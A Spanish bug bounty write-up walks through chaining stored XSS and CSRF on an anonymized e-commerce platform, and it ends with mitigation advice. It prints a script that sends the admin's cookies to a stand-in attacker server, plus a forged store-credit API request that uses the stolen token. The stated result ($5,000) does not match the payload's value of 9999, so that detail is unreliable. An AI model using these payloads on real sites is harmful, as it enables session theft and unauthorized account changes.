
Hoy vamos a desglosar un ataque complejo que encontré en un programa de Bug Bounty(Mi segundo reporte en BugCrowd). Este caso es un ejemplo brillante de cómo una vulnerabilidad aparentemente simple puede convertirse en la piedra angular de un ataque mucho más devastador. Encadenando un XSS Almacenado con una Falsificación de Petición en Sitios Cruzados (CSRF), fue posible que un usuario con bajos privilegios modificara datos críticos de otros clientes.
Por supuesto, todos los nombres, URLs y detalles específicos de la plataforma han sido anonimizados. Usaremos el nombre genérico «MegaCart» para referirnos a la plataforma de e-commerce.
Los Actores y el Escenario
- La Plataforma: «MegaCart», una solución de e-commerce que permite a los dueños de tiendas gestionar productos, páginas y clientes.
- El Atacante: Un usuario con rol de «Personal de Ventas» (Sales Staff). Este rol tiene permisos limitados, pero puede crear y editar páginas web informativas para la tienda.
- La Víctima: Un usuario «Administrador» (Owner) de la tienda, con acceso a todas las funcionalidades.
- El Objetivo: Aumentar de forma no autorizada el crédito de tienda de un cliente arbitrario.
El ataque se divide en dos fases principales.
Fase 1: El Punto de Apoyo – XSS Almacenado para Robar el Token CSRF
El primer paso es conseguir un punto de apoyo en el sistema. El objetivo aquí no es simplemente mostrar una alerta, sino robar información sensible del navegador del administrador.
Paso 1: Identificar el Punto de Inyección
El usuario «Personal de Ventas» tiene acceso al panel de administración para crear páginas de contenido (como «Sobre nosotros» o «Políticas de Devolución»). Descubrí que al editar una de estas páginas, la plataforma permitía cambiar a un editor de HTML puro. Esto es una señal de alarma inmediata, ya que a menudo carece de la sanitización adecuada.
Paso 2: El Primer Payload (Robo de Cookies)
En lugar de un alert(), inyecté un script diseñado para robar las cookies del navegador de cualquiera que visitara la página. El payload se envía a un servidor que controlo
<!-- Payload para robar cookies -->
<script type="text/javascript">
fetch('https://atacante.servidor.ejemplo.com/log', {
method: 'POST',
credentials: 'include', // Asegura que las cookies se envíen
mode: 'no-cors',
body: document.cookie
});
</script>Este script se guardó en la página de «Quejas y Reclamos».

Paso 3: El Engaño y la Ejecución
Ahora, el atacante solo necesita que el Administrador visite esta página. Afortunadamente para el atacante, la plataforma tiene una función de «Vista Previa» (Preview). Cuando el Administrador hace clic en «Preview» para revisar la página, el script se ejecuta en el contexto de su sesión.
Paso 4: ¡Token Adquirido!
En mi servidor, recibí una petición con todas las cookies del Administrador. La más importante era el XSRF-TOKEN, una medida de seguridad diseñada para prevenir ataques CSRF. Con este token en mi poder, la principal defensa contra la falsificación de peticiones estaba rota.

Fase 2: El Golpe Final – Forjando una Petición CSRF
Con el token del Administrador, ahora puedo crear peticiones que la aplicación creerá que son legítimas.
Paso 5: Reconocimiento de la API
Usando mi propia cuenta de «Personal de Ventas» y una herramienta como Burp Suite, investigué las peticiones que hacía el panel de administración. Descubrí una API interna para gestionar clientes:
- GET /internalapi/v1/customers: Devuelve una lista de clientes, incluyendo su customerId.
- POST /internalapi/v1/customers/{customerId}/storecredit: Actualiza el crédito de tienda para un cliente específico.
Paso 6: El Segundo Payload (El Ataque CSRF)
Ahora creo un nuevo payload. Este script usará los datos que he recopilado: el endpoint de la API, el customerId del cliente objetivo (digamos, ID=1), y el XSRF-TOKEN que robé.Generated html
<!-- Payload para modificar el crédito del cliente -->
<script type="text/javascript">
var xhr = new XMLHttpRequest();
// Petición a la API para cambiar el crédito del cliente con ID 1
xhr.open('POST', 'https://tienda.megacart.ejemplo.com/internalapi/v1/customers/1/storecredit', true);
// Headers necesarios para que la API acepte la petición
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('X-Xsrf-Token', 'TOKEN-ROBADO-DEL-ADMIN'); // ¡La clave del ataque!
// Incluir cookies de sesión del admin
xhr.withCredentials = true;
// El cuerpo de la petición con el nuevo crédito
xhr.send(JSON.stringify({ credit: 9999 }));
</script>Pegué este nuevo script en la misma página de «Quejas y Reclamos» o en una nueva.
Paso 7: Ejecutando el Ataque Final
El proceso se repite. El Administrador, quizás revisando los últimos cambios, vuelve a hacer clic en «Preview». El segundo payload se ejecuta. Esta vez, no roba datos, sino que envía una orden directa a la API para cambiar el crédito de un cliente.
El Resultado: Éxito Total
Al recargar la lista de clientes, el crédito del cliente con ID 1 se había actualizado a $5,000.00. Un usuario con permisos muy limitados logró realizar una acción administrativa crítica.

Análisis y Mitigación
Este ataque fue posible por la combinación de tres debilidades:
- XSS Almacenado: La causa raíz. El editor de HTML no sanitizaba las entradas, permitiendo la inyección de etiquetas <script>.
- Ruptura de la Protección CSRF: El XSS permitió robar el token CSRF, inutilizando esta capa de defensa.
- Falta de Aislamiento de Privilegios: Un usuario de bajo nivel pudo crear contenido que se ejecutó con los privilegios de un administrador, rompiendo el modelo de seguridad.
¿Cómo se puede arreglar?
- Sanitización de Entradas: Nunca confíes en la entrada del usuario. Utiliza librerías robustas como DOMPurify para limpiar cualquier HTML antes de guardarlo o mostrarlo.
- Política de Seguridad de Contenido (CSP): Una CSP estricta podría haber bloqueado la petición fetch al servidor del atacante.
- Sandboxing para Vistas Previas: Las vistas previas de contenido deberían ejecutarse en un dominio separado (sandbox) o dentro de un iframe con el atributo sandbox, lo que limita severamente lo que un script puede hacer.
Este caso demuestra que incluso con defensas como los tokens CSRF, una sola vulnerabilidad de XSS puede ser la llave que abra todo el castillo.
¡Espero que este desglose les haya sido útil! ¡HappyHunting!

